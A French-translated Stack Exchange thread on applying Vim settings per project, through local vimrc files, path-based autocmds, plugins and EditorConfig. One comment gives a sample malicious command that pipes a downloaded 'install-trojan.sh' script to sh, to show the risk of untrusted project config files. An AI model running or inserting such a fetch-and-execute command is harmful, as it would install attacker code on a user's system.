Dans mon travail, nous utilisons une norme ts
de 2; Ma préférence personnelle est 4, c'est ce que j'utilise pour mes projets de loisirs, et cet autre projet dont nous avons hérité a la convention de ts=8
.
Il existe également d'autres paramètres que je souhaite définir en fonction d'un projet (par exemple, le pliage). Baser ces paramètres sur le type de fichier ou les détecter automatiquement en fonction de l'utilisation du fichier ne sont pas de bonnes options, car je souhaite respecter les conventions de chaque projet.
Puis-je faire en sorte que Vim utilise un fichier de paramètres qui s'applique à un projet (tout dans une arborescence de répertoires) sans ajouter de modèle à tous les fichiers?
vimrc
filesystem
Martin Tournoij
la source
la source
Réponses:
Il existe quelques moyens légers de le faire.
Rechercher un fichier de prénom et le rechercher
Le fichier est caché dans l'exemple mais c'est optionnel.
.vimrc
Fichiers locaux (pas les mêmes que le plugin)Ceci est similaire à 1. mais le fichier s'appellera ".vimrc".
Une suggestion commune pour accompagner ceci est d'utiliser
ce qui empêche un
.vimrc
fichier de faire des choses potentiellement dangereuses, telles que l'exécution de commandes shell. L'idée est que vous ne voudriez pas que vim lise un.vimrc
fichier écrit par quelqu'un d'autre qui fait quelque chose de méchant.Commandes automatiques qui vérifient le chemin actuel
C'est l'option que j'utilise. Je ne change pas beaucoup entre différents projets, donc YMMV, mais si vous souhaitez simplement faire une ou deux choses en fonction du chemin d’accès et les conserver dans votre document,
.vimrc
c’est simple et agréable.la source
J'utilise localvimrc à cette fin.
Mettez un
.lvimrc
avec vos paramètres de projet dans votre projet et ces paramètres remplaceront les paramètres dans.vimrc
.Par défaut, on vous demandera si vous voulez utiliser ce fichier, par exemple:
Cela permet d'éviter de rechercher des fichiers vimrc aléatoires (non fiables). Si vous trouvez cela agaçant, vous pouvez configurer une liste blanche de
.lvimrc
fichiers avecg:localvimrc_whitelist
:Ou vous pouvez simplement désactiver la demande de confirmation avec
set g:localvimrc_ask = 0
. Ce n'est pas recommandé, cependant.la source
Configuration centrale
Si vous pouvez configurer les commandes / exceptions locales de manière centralisée, vous pouvez mettre de tels autocmds dans votre
~/.vimrc
:Il est important d'utiliser à la
:setlocal
place de:set
, et de même:map <buffer> ...
et:command! -buffer ...
.Par ailleurs, si vous souhaitez que la configuration spécifique soit stockée avec le projet (et que vous ne souhaitez pas l'intégrer à tous les fichiers via des modèles ), vous disposez des deux options suivantes:
Configuration locale avec fonctionnalité intégrée
Si vous démarrez toujours Vim à partir du répertoire racine du projet, le programme intégré
active la lecture d'un
.vimrc
fichier à partir du répertoire en cours. Vous pouvez y placer les:set ts=4 sw=4
commandes.Configuration locale via plugin
Sinon, vous avez besoin de l'aide d'un plugin; il y en a plusieurs sur vim.org; Je peux recommander le plugin localrc , qui permet même une configuration locale spécifique à un type de fichier .
Notez que la lecture de la configuration à partir du système de fichiers a des conséquences sur la sécurité. vous voudrez peut-être
:set secure
.la source
.exrc
sont extrêmement limités: la notion de projet s’arrête au répertoire actuel, c’est-à-dire que les fichiers des sous-répertoires n’appartiennent pas au projet.Il existe un projet de configuration de l' éditeur qui vous permet de définir des configurations au niveau du projet, telles que des paramètres de tabulation, ainsi que de nouveaux styles de ligne et d'autres éléments. Il y a beaucoup de connexions pour toutes sortes d'éditeurs, y compris vim . Il vous permet également de définir des paramètres pour différents types de fichiers.
la source
Je l'ai écrit et ajouté à mon fichier .vimrc pour me permettre de placer des fichiers .vimsettings dans des projets et des sous-projets.
la source
system('curl http://example.com/install-trojan.sh | sh')
...Je voulais cela alors je l'ai juste implémenté localement. Je ne suis pas aussi concerné par "l'exécution de code aléatoire" mais cela peut fonctionner pour des besoins simples. Ajustez les noms de fichiers si nécessaire.
C’est en
local.vimrc
fait un lien symbolique vers un fichier de ma vaste collection de fichiers vimrc par société que je peux garder ailleurs dans le contrôle de source, ce qui facilite le déplacement de toute ma configuration vers d’autres machines ou lorsque je visite une société sur place ou quelque chose de ce genre. . Des configurations en cascade pourraient être utilisées, mais en pratique, je n’ai pas besoin de cette fonctionnalité. Je câble également F8pour ouvrir ce fichier trouvé et mon "main".vimrc
dans un nouvel onglet ...Dans ces configurations locales, puisqu'elles sont analysées pour chaque fichier ouvert, veillez à définir vos mappages et paramètres sur tampon local. Par exemple
la source